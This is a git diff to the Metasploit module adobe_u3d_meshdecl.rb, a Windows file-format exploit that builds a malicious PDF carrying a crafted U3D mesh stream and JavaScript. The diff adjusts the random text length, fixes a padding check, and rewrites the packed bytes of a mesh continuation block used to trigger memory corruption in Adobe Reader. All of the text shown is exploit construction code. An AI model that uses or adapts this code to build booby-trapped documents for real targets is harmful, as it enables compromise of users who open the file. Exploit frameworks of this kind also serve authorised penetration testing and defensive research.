diff --git a/modules/exploits/windows/fileformat/adobe_u3d_meshdecl.rb b/modules/exploits/windows/fileformat/adobe_u3d_meshdecl.rb index 60a4d229a5..258b73baf1 100644 --- a/modules/exploits/windows/fileformat/adobe_u3d_meshdecl.rb +++ b/modules/exploits/windows/fileformat/adobe_u3d_meshdecl.rb @@ -230,7 +230,7 @@ Original notes on heap technique used in this exploit: }).to_s # create the u3d stuff - u3d = make_u3d_stream(target['Size'], rand_text_alpha(rand(32)+4)) + u3d = make_u3d_stream(target['Size'], rand_text_alpha(rand(28)+4)) # Create the pdf pdf = make_pdf(u3d, js_doc, js_pg1) @@ -290,7 +290,7 @@ Original notes on heap technique used in this exploit: def u3d_pad(str, char="\x00") ret = "" - if (str.length % 4) + if (str.length % 4) > 0 ret << char * (4 - (str.length % 4)) end return ret @@ -364,25 +364,10 @@ Original notes on heap technique used in this exploit: cont_data << meshname cont_data << [0].pack('V') # chain idx cont_data << [0].pack('V') # start resolution - cont_data << [0].pack('V') # end resolution - cont_data << [0].pack('V') # split position index - # new diffuse color info - cont_data << [1].pack('v') # count - cont_data << "\x00" # difference sign - cont_data << "\x00" # pad - cont_data << [1].pack('V') - cont_data << [1].pack('V') - cont_data << [1].pack('V') - cont_data << [1].pack('V') - # new specular color info - cont_data << [1].pack('v') # count - cont_data << "\x00" # sign - cont_data << "\x00" # pad - cont_data << [1].pack('V') - cont_data << [1].pack('V') - cont_data << [1].pack('V') - cont_data << [1].pack('V') - # new texture coord info + cont_data << [0].pack('V') # end resolution + # no resolution update, unknown data follows + cont_data << [0].pack('V') + cont_data << [1].pack('V') * 10 mesh_cont = [0xffffff3c,cont_data.length,0].pack('VVV') mesh_cont << cont_data mesh_cont << u3d_pad(cont_data)